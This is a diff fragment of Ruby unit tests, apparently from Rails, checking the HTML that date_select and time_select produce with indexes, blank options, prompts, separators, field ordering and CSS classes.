+    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
+    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
+    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_within_fields_for_with_blank_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = nil
+
+    output_buffer = fields_for :post, @post, :index => id do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
+    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
+    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 456
+
+    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :index => id)
+  end
+
+  def test_date_select_with_auto_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 123
+
+    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post[]", "written_on")
+  end
+
+  def test_date_select_with_different_order
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected =  %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected <<  %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
+  end
+
+  def test_date_select_with_nil
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_with_nil_and_blank
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_order
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_discard_month
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
+    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_discard_year
+    @post = Post.new
+
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
+  end
+
+  def test_date_select_cant_override_discard_hour
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
+  end
+
+  def test_date_select_with_html_options
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
+  end
+
+  def test_date_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.date_select(:written_on, {}, :class => 'selector')
+    end
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_date_select_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
+  end
+
+  def test_date_select_with_separator_and_order
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :date_separator => " / " })
+  end
+
+  def test_date_select_with_separator_and_order_and_year_discarded
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+
+    assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :discard_year => true, :date_separator => " / " })
+  end
+
+  def test_date_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
+  end
+
+  def test_date_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
+  end
+
+  def test_time_select
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on")
+  end
+
+  def test_time_select_with_selected
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 20}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", selected: Time.local(2004, 6, 15, 12, 20, 30))
+  end
+
+  def test_time_select_with_selected_nil
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", discard_year: true, discard_month: true, discard_day: true, selected: nil)
+  end
+
+  def test_time_select_without_date_hidden_fields
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
+  end
+
+  def test_time_select_with_seconds
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
+  end
+
+  def test_time_select_with_html_options
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
+  end
+
+  def test_time_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.time_select(:written_on, {}, :class => 'selector')
+    end
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
